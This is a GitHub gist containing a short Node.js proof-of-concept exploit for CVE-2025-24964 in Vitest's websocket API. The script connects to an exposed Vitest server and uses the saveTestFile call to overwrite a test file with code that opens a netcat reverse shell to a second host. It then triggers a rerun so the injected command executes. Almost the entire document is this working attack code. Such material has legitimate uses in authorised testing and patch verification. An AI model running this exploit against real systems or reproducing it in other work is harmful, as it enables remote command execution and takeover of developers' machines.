Skip to content

Instantly share code, notes, and snippets.

@david-botelho-mariano
Created December 14, 2025 22:20
Show Gist options
  • Select an option

  • Save david-botelho-mariano/247f704f2e44a7aa42ab36e4b14f5a60 to your computer and use it in GitHub Desktop.

Select an option

Save david-botelho-mariano/247f704f2e44a7aa42ab36e4b14f5a60 to your computer and use it in GitHub Desktop.
node poc.js [CVE-2025-24964]
const {stringify} = require('flatted');
const WebSocket = require('ws');
// actual code to run
const ws = new WebSocket('ws://192.168.156.207:8080/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/home/viter/sum.test.js" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.45.166 22 >/tmp/f')"]
}))
// rerun the tests to run the injected command execution code
ws.send(stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment